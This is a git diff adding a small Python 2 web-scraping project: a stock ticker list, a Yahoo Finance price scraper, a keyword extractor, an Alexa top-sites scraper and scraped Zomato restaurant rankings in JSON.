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+OUTR
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+PFIN
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+PEIX
+PMBC
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+PSUN
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+PACT          
+PACW
+PTIE
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+PCYG
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+PEGI
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+PAYX
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+PCMI
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+PDFS
+PDII
+PDLI
+PGC
+PRLS
+PEGA
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+PFLT
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+PWOD
+PEBO
+PEBK
+PEOP
+PFBX
+PBCT
+PRCP
+PPHM
+PSMI
+PWRD
+PRFT
+PTIX
+PFMT
+PERF
+PSEM
+PERI
+PESI
+PTX
+PERY
+PETS
+PETM
+PFSW
+PGTI
+PCYC
+PHII
+PHIIK
+PHMD
+PLAB
+PICO
+PPC
+PME
+PNFP
+PPSI
+PXLW
+PZZI
+PLNR
+PLPM
+PLXS
+PLUG
+PLBC
+PSTI
+PLXT
+PMCS
+PMFG
+PBSK
+PTSX
+PNTR
+PCOM
+PTEK
+PBCP
+PLCM
+POOL
+POPE
+BPOP
+BPOPM
+BPOPN
+PBIB
+PRAA
+PTLA
+PSTR
+PBPB
+PCH
+POWL
+POWI
+PSIX
+PSCC
+PSCD
+PSCE
+PSCF
+PSCH
+PSCI
+PSCM
+PSCT
+PSCU
+PRFZ
+PAGG
+PSAU
+PMNA
+PNQI
+QQQ
+POZN
+PRAN
+PFBC
+PLPC
+PRXI
+PFBI
+PINC
+PRGX
+PCLN
+PSMT
+PBMD
+PNRG
+PRMW
+PRIM
+PVTB
+PVTBP
+PKT
+PDEX
+IPDN
+PGNX
+PRGS
+PFPT
+PRPH
+RNA
+BIB
+BIS
+TQQQ
+SQQQ
+PSEC
+PGRX
+PRTA
+PWX
+PROV
+PBIP
+PSBH
+PSDV
+PMD
+PMTC
+PTCT
+PULB
+PCYO
+QADA
+QADB
+QCCO
+QCRH
+QGEN
+QIWI
+QKLS
+QLIK
+QLGC
+QLTI
+QCOM
+QLTY
+QSII
+QBAK
+QLYS
+QTWW
+QTETU
+QCOR
+QUIK
+QDEL
+QPAC
+QPACU
+QPACW
+QNST
+QUMU
+DFZ
+RRD
+RADA
+RDCM
+ROIA
+ROIAK
+RSYS
+RDNT
+RDWR
+RMBS
+RAND
+RLOG
+GOLD
+RPTP
+RAVN
+ROLL
+RCMT
+RDA
+RLOC
+RDI
+RDIB
+RSOL
+RNWK
+RP
+RCPT
+RCON
+RECV
+RRGB
+RDHL
+REDF
+RGDO
+REGN
+RGLS
+REIS
+RELV
+MARK
+REMY
+RNST
+REGI
+RCII
+RTK
+RENT
+RGEN
+RPRX
+RPRXW
+RPRXZ
+RJET
+RBCAA
+FRBK
+REFR
+REXI
+RECN
+RGDX
+MKTG
+ROIC
+ROICU
+ROICW
+SALE
+RVLT
+REXX
+RFIL
+RFMD
+RGCO
+RELL
+RICK
+RIGL
+RNET
+RITT
+RIVR
+RVBD
+RVSB
+RLJE
+RMGN
+ROCM
+FUEL
+RCKB
+RMTI
+RCKY
+RMCF
+RSTI
+ROIQU
+ROMA
+ROSG
+ROSE
+ROST
+ROVI
+RBPAA
+RGLD
+ROYL
+FUND
+RPXC
+RRST
+RTIX
+RBCN
+RTEC
+RUSHA
+RUSHB
+RUTH
+RYAAY
+STBA
+SANW
+SANWZ
+SYBT
+SYBTP
+SBRA
+SBRAP
+SAEX
+SAFT
+SGNT
+SAIA
+SALM
+SAL
+SLXP
+SAFM
+SNDK
+SASR
+SGMO
+SANM
+GCVRZ
+SNTS
+SPNS
+SAPE
+SRPT
+SBFG
+SBAC
+SCSC
+SMIT
+SCHN
+SCHL
+SCLN
+SGMS
+SQI
+SEAC
+SBCF
+STX
+SHIP
+SHLD
+SHOS
+SGEN
+SNFCA
+SEIC
+SCSS
+SLTC
+SIGI
+LEDS
+SMTC
+SENEA
+SENEB
+SNMX
+SQNM
+SQBG
+SREV
+SEV
+SVBI
+SFXE
+SGOC
+GAME
+SMED
+SHEN
+SHFL
+SHLO
+SHPG
+SCVL
+SHBI
+SHOR
+SFLY
+SIFI
+SIEB
+BSRR
+SWIR
+SIFY
+SIGA
+SIGM
+SIAL
+SGMA
+SBNY
+SBNYW
+SLGN
+SILC
+SGI
+SIMG
+SLAB
+SIMO
+SPIL
+EAGL
+EAGLU
+EAGLW
+SSRI
+SAMG
+SFNC
+SMPL
+SLP
+SINA
+SBGI
+SCOK
+SINO
+SVA
+SIRI
+SIRO
+SKUL
+MOBI
+SPU
+SKBI
+SKYW
+SWKS
+ISM
+JSM
+OSM
+SLM
+SLMAP
+SLMBP
+SMT
+SPRO
+SWHC
+SMSI
+SMTX
+LNCE
+SODA
+SOHU
+SLRC
+SUNS
+SCTY
+SZYM
+SLTM
+SONC
+SOFO
+SONS
+SPHS
+SORL
+SOHO
+SOHOL
+SFBC
+SOCB
+SFST
+SMBC
+SONA
+SBSI
+OKSB
+SPBC
+SPAN
+SBSA
+SGRP
+SPAR
+SPTN
+SPPI
+SPDC
+SPEX
+SAVE
+SPLK
+SPCHA
+SPCHB
+SPRD
+SFM
+SPSC
+SSNC
+STAA
+STMP
+STAN
+STLY
+SPLS
+SBLK
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+STRZB
+STFC
+STBZ
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+STRN
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+SIVBO
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+SYMM
+SYNC
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+SYNL
+SYNA
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+FINL
+FBMS
+FLIC
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+GTPPP
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+INTG
+KEYW
+MSG
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+UACL
+UVSP
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+URBN
+UPI
+ECOL
+USMO
+USAT
+USATP
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+USAK
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+VYFC
+VLYWW
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+VCLK
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+VNDA
+BNDX
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+VCIT
+VNQI
+VCLT
+VGLT
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+VNR
+VNRAP
+VONE
+VONG
+VONV
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+VTWG
+VTWV
+VTHR
+VGSH
+VCSH
+VXUS
+VWOB
+VDSI
+VASC
+WOOF
+VECO
+VELT
+APPY
+VTUS
+VRA
+VSTM
+VRNM
+VRNT
+VRSN
+VRSK
+VRML
+VTNR
+VRTX
+VRTA
+VRTB
+VIA
+VIAB
+VSAT
+VIAS
+VICL
+VICR
+VIDE
+VPFG
+VBFC
+VLGEA
+VIMC
+VIP
+VIRC
+VCBI
+VPHM
+VSCP
+VRTS
+VRTU
+VISN
+VSCI
+VPRT
+VITC
+VTSS
+VTNC
+VVUS
+VOCS
+VOD
+VOLC
+VLTC
+VOXX
+VRNG
+VRNGW
+VSBN
+VSEC
+WRES
+WBCO
+WAFD
+WAFDW
+WASH
+WFBI
+WSBF
+WAVX
+WAYN
+WSTG
+WDFC
+WWWW
+WBMD
+WEBK
+WEN
+WERN
+WSBC
+WTBA
+WSTC
+WMAR
+WABC
+WBB
+WSTL
+WDC
+WFD
+WLB
+WLBPZ
+WPRT
+WEYS
+WHLR
+WHF
+WHFBL
+WFM
+WILN
+WVVI
+WLDN
+WLFC
+WIBC
+WIN
+WINA
+WTFC
+WTFCW
+WETF
+GULF
+CHXF
+EMCG
+EMCB
+DGRE
+DXGE
+GLCB
+DXJS
+DGRW
+DGRS
+DXPS
+WBKC
+WWD
+WRLD
+XWES
+WPCS
+WPPGY
+WMGI
+WMGIZ
+WSFS
+WSFSL
+WSCI
+WVFC
+WYNN
+XBKS
+XNPT
+XGTI
+XGTIW
+XLNX
+XOMA
+XOOM
+XPLR
+XRSC
+XTLB
+XRTX
+YDKN
+YHOO
+YNDX
+YONG
+YOD
+YRCW
+YY
+ZAGG
+ZLCS
+ZAZA
+ZBRA
+ZLTQ
+ZHNE
+Z
+ZN
+ZION
+ZIONW
+ZIONZ
+ZIOP
+ZIPR
+ZIXI
+ZGNX
+ZOLT
+ZOOM
+ZUMZ
+ZIGO
+ZNGA
\ No newline at end of file
diff --git a/pyscrapper/stock_finance/symbols_less.txt b/pyscrapper/stock_finance/symbols_less.txt
new file mode 100755
index 00000000..0024c88c
--- /dev/null
+++ b/pyscrapper/stock_finance/symbols_less.txt
@@ -0,0 +1,20 @@
+AAPL
+SPY
+FLWS
+FCTY
+FCCY
+SRCE
+FUBC
+VNET
+JOBS
+EGHT
+AVHI
+SHLM
+AAON
+ASTM
+ABAX
+ABGB
+ABMD
+AXAS
+ACTG
+ACHC
\ No newline at end of file
diff --git a/pyscrapper/stock_finance/yahoo_finance.py b/pyscrapper/stock_finance/yahoo_finance.py
new file mode 100755
index 00000000..384c7713
--- /dev/null
+++ b/pyscrapper/stock_finance/yahoo_finance.py
@@ -0,0 +1,22 @@
+'''
+Scrapping last price of various companies from yahoo finance
+input taken from a file
+'''
+
+import re
+import urllib
+
+symbolfile = open("symbols_less.txt")
+symbolslist = symbolfile.read()
+newsymbolslist = symbolslist.split("\n")
+
+for i,j in enumerate(newsymbolslist):
+	url = "http://in.finance.yahoo.com/q?s=" + newsymbolslist[i] 
+	htmlfile = urllib.urlopen(url)
+	htmltext = htmlfile.read().decode('utf-8')
+
+	regex = '<span id="yfs_l84_[^.]*">(.+?)</span>'
+	pattern = re.compile(regex)
+	price = re.findall(pattern,htmltext)
+
+	print "the price of", newsymbolslist[i],"is", price[0]
\ No newline at end of file
diff --git a/pyscrapper/top_keywords/common_words.txt b/pyscrapper/top_keywords/common_words.txt
new file mode 100755
index 00000000..8c21b385
--- /dev/null
+++ b/pyscrapper/top_keywords/common_words.txt
@@ -0,0 +1,500 @@
+the
+of
+to
+and
+a
+in
+is
+it
+you
+that
+he
+was
+for
+on
+are
+with
+as
+i
+his
+they
+be
+at
+one
+have
+this
+from
+or
+had
+by
+hot
+but
+some
+what
+there
+we
+can
+out
+other
+were
+all
+your
+when
+up
+use
+word
+how
+said
+an
+each
+she
+which
+do
+their
+time
+if
+will
+way
+about
+many
+then
+them
+would
+write
+like
+so
+these
+her
+long
+make
+thing
+see
+him
+two
+has
+look
+more
+day
+could
+go
+come
+did
+my
+sound
+no
+most
+number
+who
+over
+know
+water
+than
+call
+first
+people
+may
+down
+side
+been
+now
+find
+any
+new
+work
+part
+take
+get
+place
+made
+live
+where
+after
+back
+little
+only
+round
+man
+year
+came
+show
+every
+good
+me
+give
+our
+under
+name
+very
+through
+just
+form
+much
+great
+think
+say
+help
+low
+line
+before
+turn
+cause
+same
+mean
+differ
+move
+right
+boy
+old
+too
+does
+tell
+sentence
+set
+three
+want
+air
+well
+also
+play
+small
+end
+put
+home
+read
+hand
+port
+large
+spell
+add
+even
+land
+here
+must
+big
+high
+such
+follow
+act
+why
+ask
+men
+change
+went
+light
+kind
+off
+need
+house
+picture
+try
+us
+again
+animal
+point
+mother
+world
+near
+build
+self
+earth
+father
+head
+stand
+own
+page
+should
+country
+found
+answer
+school
+grow
+study
+still
+learn
+plant
+cover
+food
+sun
+four
+thought
+let
+keep
+eye
+never
+last
+door
+between
+city
+tree
+cross
+since
+hard
+start
+might
+story
+saw
+far
+sea
+draw
+left
+late
+run
+don't
+while
+press
+close
+night
+real
+life
+few
+stop
+open
+seem
+together
+next
+white
+children
+begin
+got
+walk
+example
+ease
+paper
+often
+always
+music
+those
+both
+mark
+book
+letter
+until
+mile
+river
+car
+feet
+care
+second
+group
+carry
+took
+rain
+eat
+room
+friend
+began
+idea
+fish
+mountain
+north
+once
+base
+hear
+horse
+cut
+sure
+watch
+color
+face
+wood
+main
+enough
+plain
+girl
+usual
+young
+ready
+above
+ever
+red
+list
+though
+feel
+talk
+bird
+soon
+body
+dog
+family
+direct
+pose
+leave
+song
+measure
+state
+product
+black
+short
+numeral
+class
+wind
+question
+happen
+complete
+ship
+area
+half
+rock
+order
+fire
+south
+problem
+piece
+told
+knew
+pass
+farm
+top
+whole
+king
+size
+heard
+best
+hour
+better
+true .
+during
+hundred
+am
+remember
+step
+early
+hold
+west
+ground
+interest
+reach
+fast
+five
+sing
+listen
+six
+table
+travel
+less
+morning
+ten
+simple
+several
+vowel
+toward
+war
+lay
+against
+pattern
+slow
+center
+love
+person
+money
+serve
+appear
+road
+map
+science
+rule
+govern
+pull
+cold
+notice
+voice
+fall
+power
+town
+fine
+certain
+fly
+unit
+lead
+cry
+dark
+machine
+note
+wait
+plan
+figure
+star
+box
+noun
+field
+rest
+correct
+able
+pound
+done
+beauty
+drive
+stood
+contain
+front
+teach
+week
+final
+gave
+green
+oh
+quick
+develop
+sleep
+warm
+free
+minute
+strong
+special
+mind
+behind
+clear
+tail
+produce
+fact
+street
+inch
+lot
+nothing
+course
+stay
+wheel
+full
+force
+blue
+object
+decide
+surface
+deep
+moon
+island
+foot
+yet
+busy
+test
+record
+boat
+common
+gold
+possible
+plane
+age
+dry
+wonder
+laugh
+thousand
+ago
+ran
+check
+game
+shape
+yes
+hot
+miss
+brought
+heat
+snow
+bed
+bring
+sit
+perhaps
+fill
+east
+weight
+language
+among
\ No newline at end of file
diff --git a/pyscrapper/top_keywords/keywords.py b/pyscrapper/top_keywords/keywords.py
new file mode 100755
index 00000000..0292534f
--- /dev/null
+++ b/pyscrapper/top_keywords/keywords.py
@@ -0,0 +1,38 @@
+import urllib
+
+from BeautifulSoup import BeautifulSoup
+
+'''
+function to get top keywords from the whole text
+'''
+def getKeywords(articletext):
+	common = open("common_words.txt").read().split('\n')
+	word_dict = {}
+	word_list = articletext.lower().split()
+	for word in word_list:
+		if word not in common and word.isalnum():
+			if word not in word_dict:
+				word_dict[word] = 1
+			if word in word_dict:
+				word_dict[word] += 1
+	top_words =  sorted(word_dict.items(),key=lambda(k,v):(v,k),reverse=True)[0:50]
+	top50 = []
+	for w in top_words:
+		top50.append(w)
+	return top50
+
+
+url = "http://en.wikipedia.org/wiki/In-memory_database"
+htmltext = urllib.urlopen(url).read()
+soup = BeautifulSoup(htmltext)
+
+'''
+Collect all text from url
+'''
+article = ""
+for text in soup.findAll(text=True):
+	article += text.encode("utf-8")
+
+#print article
+
+print getKeywords(article)
diff --git a/pyscrapper/top_websites/top-websites.py b/pyscrapper/top_websites/top-websites.py
new file mode 100755
index 00000000..77ca23b9
--- /dev/null
+++ b/pyscrapper/top_websites/top-websites.py
@@ -0,0 +1,42 @@
+'''
+Python class to get top 25 websites of a country from alexia.com
+'''
+
+import mechanize
+from BeautifulSoup import BeautifulSoup
+
+
+class top_websites:
+	def scrap(self,city):
+		url = "http://www.alexa.com/topsites/countries"
+		br = mechanize.Browser()
+		br.set_handle_robots(False)
+		br.set_handle_refresh(False)
+		br.addheaders= [("User-Agent","Mozilla/5.0")]
+		br.open(url)
+
+		countries = [''.join(link.text).lower() for link in br.links()]
+
+		if city.lower() in countries:
+			for link in br.links():
+				if link.text.lower() == city.lower():
+					br.follow_link(link)
+					html = br.response().read()
+					soup = BeautifulSoup(html)
+					print soup.title.string.replace("Alexa - ","")
+					print "*"*200
+					print ""
+					for i,li in enumerate(soup.findAll('li',attrs={"class":"site-listing"})):
+						print i+1,":",li.a.string
+						first =  li.find('div',attrs={"class":"description"})
+						print first.text.replace("...More","-").encode("utf-8").replace("&nbsp;","No Description Available ")
+						print " "
+		else:
+			print "please enter a valid country name"
+
+if __name__ == '__main__':
+	city = "india"
+	o = top_websites()
+	o.scrap(city)
+
+	
\ No newline at end of file
diff --git a/pyscrapper/zomato_top_restaurants/cities.txt b/pyscrapper/zomato_top_restaurants/cities.txt
new file mode 100755
index 00000000..217384aa
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/cities.txt
@@ -0,0 +1 @@
+Brasilia,Porto Alegre,Rio de Janeiro,Salvador,Sao Paulo,Ahmedabad,Bangalore,Chandigarh,Chennai,Delhi NCR,Guwahati,Hyderabad,Indore,Jaipur,Kolkata,Lucknow,Ludhiana,Mumbai,Pune,Jakarta,Auckland,Hamilton,Wellington,Metro Manila,Doha,Cape Town,Durban,Johannesburg,Pretoria,Colombo,Ankara,Istanbul,Abu Dhabi,Dubai,Sharjah,Birmingham,Edinburgh,Glasgow,London,Manchester
\ No newline at end of file
diff --git a/pyscrapper/zomato_top_restaurants/output/abudhabi.json b/pyscrapper/zomato_top_restaurants/output/abudhabi.json
new file mode 100755
index 00000000..df77c752
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/abudhabi.json
@@ -0,0 +1 @@
+[{"cuisine": "Chinese, Japanese, Thai", "rank": "1", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "P.F.Chang&#039;s", "rating": "3.1"}, {"cuisine": "Fast Food", "rank": "2", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Hardee&#039;s", "rating": "3.4"}, {"cuisine": "Pakistani", "rank": "3", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Student Biryani", "rating": "3.4"}, {"cuisine": "Chinese", "rank": "4", "location": "Tourist Club Area, Abu Dhabi", "restaurant_name": "Kawloon Chinese Restaurant", "rating": "3.0"}, {"cuisine": "Chinese, Filipino", "rank": "5", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Oriental Korner", "rating": "3.0"}, {"cuisine": "Pizza", "rank": "6", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Figaro&#039;s Pizza", "rating": "3.2"}, {"cuisine": "Hyderabadi, Indian", "rank": "7", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Ritaj Restaurant", "rating": "3.5"}, {"cuisine": "Indian, Chinese", "rank": "8", "location": "Madinat Zayed, Abu Dhabi", "restaurant_name": "Sangeetha Vegetarian Restaurant", "rating": "3.5"}, {"cuisine": "North Indian, Mughlai, Chinese", "rank": "9", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Lazeez", "rating": "3.9"}, {"cuisine": "Pizza", "rank": "10", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Papa John&#039;s", "rating": "3.2"}, {"cuisine": "South Indian, North Indian,   ", "rank": "11", "location": "Tourist Club Area, Abu Dhabi", "restaurant_name": "Arab Udupi", "rating": "3.1"}, {"cuisine": "Fast Food", "rank": "12", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Southern Fried Chicken", "rating": "3.3"}, {"cuisine": "American, Mexican", "rank": "13", "location": "Tourist Club Area, Abu Dhabi", "restaurant_name": "TGI Fridays", "rating": "3.7"}, {"cuisine": "Pakistani, Indian, Chinese", "rank": "14", "location": "Madinat Zayed, Abu Dhabi", "restaurant_name": "Al Ibrahimi Restaurant", "rating": "3.3"}, {"cuisine": "Indian, Chinese", "rank": "15", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Ruchi", "rating": "3.2"}, {"cuisine": "Desserts", "rank": "16", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Krispy Kreme", "rating": "3.5"}, {"cuisine": "Lebanese", "rank": "17", "location": "Tourist Club Area, Abu Dhabi", "restaurant_name": "Lebanese Flower Restaurant &amp; Cafeteria", "rating": "3.5"}, {"cuisine": "Lebanese, Pub", "rank": "18", "location": "Yas Island, Abu Dhabi", "restaurant_name": "Iris", "rating": "3.0"}, {"cuisine": "Fast Food", "rank": "19", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Burger King", "rating": "3.3"}, {"cuisine": "Asian, Filipino", "rank": "20", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Max&#039;s Restaurant", "rating": "3.5"}, {"cuisine": "Indian", "rank": "21", "location": "Madinat Zayed, Abu Dhabi", "restaurant_name": "Salam Bombay", "rating": "3.6"}, {"cuisine": "Fast Food, Middle Eastern", "rank": "22", "location": "Tourist Club Area, Abu Dhabi", "restaurant_name": "Fresh Chicken King", "rating": "3.2"}, {"cuisine": "Middle Eastern", "rank": "23", "location": "Al Khalidiya, Abu Dhabi", "restaurant_name": "Shish Shawerma", "rating": "3.6"}, {"cuisine": "Italian, Pizza", "rank": "24", "location": "Al Markaziya, Abu Dhabi", "restaurant_name": "Il Forno", "rating": "3.6"}, {"cuisine": "Fast Food", "rank": "25", "location": "Madinat Zayed, Abu Dhabi", "restaurant_name": "Marrybrown", "rating": "3.0"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/ahmedabad.json b/pyscrapper/zomato_top_restaurants/output/ahmedabad.json
new file mode 100755
index 00000000..58c33f0a
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/ahmedabad.json
@@ -0,0 +1 @@
+[{"cuisine": "Continental, Chinese, North   ", "rank": "1", "location": "Ashram Road, Ahmedabad", "restaurant_name": "Patang - The Revolving Restaurant", "rating": "3.7"}, {"cuisine": "Chinese, Italian, North   ", "rank": "2", "location": "Ambavadi, Ahmedabad", "restaurant_name": "650 - The Global Kitchen", "rating": "3.6"}, {"cuisine": "North Indian, Continental,   ", "rank": "3", "location": "Satellite, Ahmedabad", "restaurant_name": "Global Desi Tadkaa", "rating": "3.8"}, {"cuisine": "European, North Indian,   ", "rank": "4", "location": "Gurukul, Ahmedabad", "restaurant_name": "Barbeque Nation", "rating": "3.7"}, {"cuisine": "Mediterranean, Italian,   ", "rank": "5", "location": "Navrangpura, Ahmedabad", "restaurant_name": "That Place", "rating": "3.9"}, {"cuisine": "Mexican, Chinese, Italian,   ", "rank": "6", "location": "Adalaj, Ahmedabad", "restaurant_name": "Piperade - The Waterside", "rating": "3.6"}, {"cuisine": "Fast Food, Cafe", "rank": "7", "location": "Navrangpura, Ahmedabad", "restaurant_name": "Qwiches", "rating": "3.8"}, {"cuisine": "Mexican, North Indian,   ", "rank": "8", "location": "C G Road, Ahmedabad", "restaurant_name": "Tomato&#039;s", "rating": "3.9"}, {"cuisine": "Cafe, Persian, Desserts", "rank": "9", "location": "Vastrapur, Ahmedabad", "restaurant_name": "Goodies", "rating": "3.7"}, {"cuisine": "Mediterranean, American,   ", "rank": "10", "location": "Thaltej, Ahmedabad", "restaurant_name": "Souq Bistro &amp; Grills", "rating": "3.7"}, {"cuisine": "Gujarati, Rajasthani", "rank": "11", "location": "Vejalpur, Ahmedabad", "restaurant_name": "Rajwadu", "rating": "3.6"}, {"cuisine": "Gujarati, Rajasthani, South   ", "rank": "12", "location": "Gurukul, Ahmedabad", "restaurant_name": "Village The Soul Of India", "rating": "3.7"}, {"cuisine": "North Indian, Continental,   ", "rank": "13", "location": "Ambavadi, Ahmedabad", "restaurant_name": "INCASA", "rating": "3.6"}, {"cuisine": "Gujarati", "rank": "14", "location": "Vasna, Ahmedabad", "restaurant_name": "Vishalla", "rating": "3.7"}, {"cuisine": "North Indian, Mexican,   ", "rank": "15", "location": "Thaltej, Ahmedabad", "restaurant_name": "Black Salt", "rating": "3.5"}, {"cuisine": "Chinese, Japanese, Fast Food", "rank": "16", "location": "Thaltej, Ahmedabad", "restaurant_name": "Yanki Sizzler", "rating": "3.9"}, {"cuisine": "Chinese, Thai, North   ", "rank": "17", "location": "Ashram Road, Ahmedabad", "restaurant_name": "Pleasure Trove", "rating": "3.8"}, {"cuisine": "North Indian, Chinese,   ", "rank": "18", "location": "Bodakdev, Ahmedabad", "restaurant_name": "Olives Restaurant", "rating": "3.5"}, {"cuisine": "North Indian, Chinese,   ", "rank": "19", "location": "Ellis Bridge, Ahmedabad", "restaurant_name": "WoW  Mughlai Handi and BBQ Grill", "rating": "3.7"}, {"cuisine": "Chinese", "rank": "20", "location": "Satellite, Ahmedabad", "restaurant_name": "Mainland China", "rating": "3.7"}, {"cuisine": "Gujarati", "rank": "21", "location": "Satellite, Ahmedabad", "restaurant_name": "Gordhan Thaal", "rating": "3.6"}, {"cuisine": "Cafe, South Indian, Fast   ", "rank": "22", "location": "Bodakdev, Ahmedabad", "restaurant_name": "Cafe Piano - The Grand Bhagwati", "rating": "3.6"}, {"cuisine": "North Indian, Chinese", "rank": "23", "location": "C G Road, Ahmedabad", "restaurant_name": "Kebabish", "rating": "4.0"}, {"cuisine": "Desserts, Bakery", "rank": "24", "location": "Vastrapur, Ahmedabad", "restaurant_name": "Buttercupp", "rating": "4.0"}, {"cuisine": "Mexican, Italian, North Indian", "rank": "25", "location": "Satellite, Ahmedabad", "restaurant_name": "Spinning Tomato&#039;s", "rating": "3.4"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/ankara.json b/pyscrapper/zomato_top_restaurants/output/ankara.json
new file mode 100755
index 00000000..ed72a251
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/ankara.json
@@ -0,0 +1 @@
+[{"cuisine": "Meksika, Pub", "rank": "1", "location": "\u00c7ayyolu, Ankara", "restaurant_name": "Pool Pub", "rating": "3.3"}, {"cuisine": "Karadeniz", "rank": "2", "location": "\u00c7ayyolu, Ankara", "restaurant_name": "Hev Zigana", "rating": "3.4"}, {"cuisine": "Meyhane", "rank": "3", "location": "Kavakl\u0131dere, Ankara", "restaurant_name": "Ta\u00e7o Meyhane", "rating": "3.2"}, {"cuisine": "Balik, Deniz   r  nleri", "rank": "4", "location": "Gazi Osman Pa\u015fa, Ankara", "restaurant_name": "Yelken Bal\u0131k Seyfi", "rating": "3.8"}, {"cuisine": "Fast Food, T  rk", "rank": "5", "location": "S\u0131hhiye, Ankara", "restaurant_name": "Morgi", "rating": "3.1"}, {"cuisine": "Steakhouse   Et lokantas  ,   ", "rank": "6", "location": "S\u00f6\u011f\u00fct\u00f6z\u00fc, Ankara", "restaurant_name": "Vesperna", "rating": "3.9"}, {"cuisine": "Kebap, Pide, T  rk", "rank": "7", "location": "K\u00fc\u00e7\u00fck Esat, Ankara", "restaurant_name": "K\u0131rlang\u0131\u00e7 Etli Ekmek", "rating": "3.1"}, {"cuisine": "Meyhane", "rank": "8", "location": "Gazi Osman Pa\u015fa, Ankara", "restaurant_name": "Miso Meyhane", "rating": "3.1"}, {"cuisine": "Balik, Deniz   r  nleri", "rank": "9", "location": "Gazi Osman Pa\u015fa, Ankara", "restaurant_name": "Trilye", "rating": "4.6"}, {"cuisine": "T  rk", "rank": "10", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "\u00dcz\u00fcm Cafe &amp; Restaurant - First Apar...", "rating": "3.0"}, {"cuisine": "D  nya Mutfa    ", "rank": "11", "location": "Kavakl\u0131dere, Ankara", "restaurant_name": "Hayyami \u015earap Evi", "rating": "3.3"}, {"cuisine": "Karadeniz, T  rk", "rank": "12", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "Lazut Cafe", "rating": "3.0"}, {"cuisine": "Pub", "rank": "13", "location": "Gazi Osman Pa\u015fa, Ankara", "restaurant_name": "Q&#039;ba Bar", "rating": "3.0"}, {"cuisine": "Balik, Deniz   r  nleri,   ", "rank": "14", "location": "Gazi Osman Pa\u015fa, Ankara", "restaurant_name": "Fige Restaurant", "rating": "3.7"}, {"cuisine": "Pub", "rank": "15", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "Return Cafe &amp; Pub", "rating": "-"}, {"cuisine": "T  rk", "rank": "16", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "Kanat\u00e7\u0131", "rating": "3.0"}, {"cuisine": "Balik, Deniz   r  nleri", "rank": "17", "location": "Bat\u0131kent, Ankara", "restaurant_name": "Norve\u00e7 Bal\u0131k Evi", "rating": "3.1"}, {"cuisine": "Kebap, T  rk", "rank": "18", "location": "Balgat, Ankara", "restaurant_name": "Masaba\u015f\u0131", "rating": "3.1"}, {"cuisine": "Pub, D  nya Mutfa    ", "rank": "19", "location": "Bah\u00e7elievler, Ankara", "restaurant_name": "\u015eantiye Pub", "rating": "3.0"}, {"cuisine": "Meyhane, Ege, Akdeniz", "rank": "20", "location": "Kavakl\u0131dere, Ankara", "restaurant_name": "Farabi Kom\u015fu", "rating": "3.3"}, {"cuisine": "Ev Yeme  i", "rank": "21", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "\u015eaziyem Ev Yemekleri", "rating": "3.1"}, {"cuisine": "Fast Food, T  rk", "rank": "22", "location": "Demetevler, Ankara", "restaurant_name": "Sudem Tantuni &amp; Cafe", "rating": "3.4"}, {"cuisine": "Meyhane, T  rk", "rank": "23", "location": "Gazi Osman Pa\u015fa, Ankara", "restaurant_name": "Me\u015frep \u00c7ankaya", "rating": "3.5"}, {"cuisine": "Cafe, Meksika, D  nya   ", "rank": "24", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "Koliba Cafe", "rating": "-"}, {"cuisine": "Ev Yeme  i, T  rk", "rank": "25", "location": "K\u0131z\u0131lay, Ankara", "restaurant_name": "Erguvan Kap\u0131s\u0131", "rating": "-"}]
diff --git a/pyscrapper/zomato_top_restaurants/output/auckland.json b/pyscrapper/zomato_top_restaurants/output/auckland.json
new file mode 100755
index 00000000..f4f8f40e
--- /dev/null
+++ b/pyscrapper/zomato_top_restaurants/output/auckland.json
@@ -0,0 +1 @@
+[{"cuisine": "Chinese", "rank": "1", "location": "Balmoral, Auckland", "restaurant_name": "Barilla Dumpling", "rating": "3.3"}, {"cuisine": "Asian, Desserts", "rank": "2", "location": "Rosedale, Auckland", "restaurant_name": "Momo Tea", "rating": "3.1"}, {"cuisine": "Cafe", "rank": "3", "location": "Mission Bay, Auckland", "restaurant_name": "The Store", "rating": "3.1"}, {"cuisine": "Pizza", "rank": "4", "location": "Takapuna, Auckland", "restaurant_name": "Pizza Club", "rating": "3.2"}, {"cuisine": "Chinese", "rank": "5", "location": "Balmoral, Auckland", "restaurant_name": "Spicy House", "rating": "3.1"}, {"cuisine": "Fast Food, British", "rank": "6", "location": "Epsom, Auckland", "restaurant_name": "Greenwoods Fresh Catch", "rating": "3.1"}, {"cuisine": "Italian, European", "rank": "7", "location": "Albany, Auckland", "restaurant_name": "GPK", "rating": "3.4"}, {"cuisine": "Chinese", "rank": "8", "location": "Balmoral, Auckland", "restaurant_name": "New Flavour", "rating": "3.4"}, {"cuisine": "Korean", "rank": "9", "location": "Mount Roskill, Auckland", "restaurant_name": "Hanna Korean", "rating": "3.1"}, {"cuisine": "Cafe", "rank": "10", "location": "Blockhouse Bay, Auckland", "restaurant_name": "The Block Cafe", "rating": "3.1"}, {"cuisine": "Fast Food", "rank": "11", "location": "Avondale, Auckland", "restaurant_name": "Carl&#039;s Jr", "rating": "3.0"}, {"cuisine": "Steakhouse", "rank": "12", "location": "Hillcrest, Auckland", "restaurant_name": "Bushman&#039;s Grill", "rating": "3.9"}, {"cuisine": "German, Pub", "rank": "13", "location": "Kohimarama, Auckland", "restaurant_name": "Der Metz", "rating": 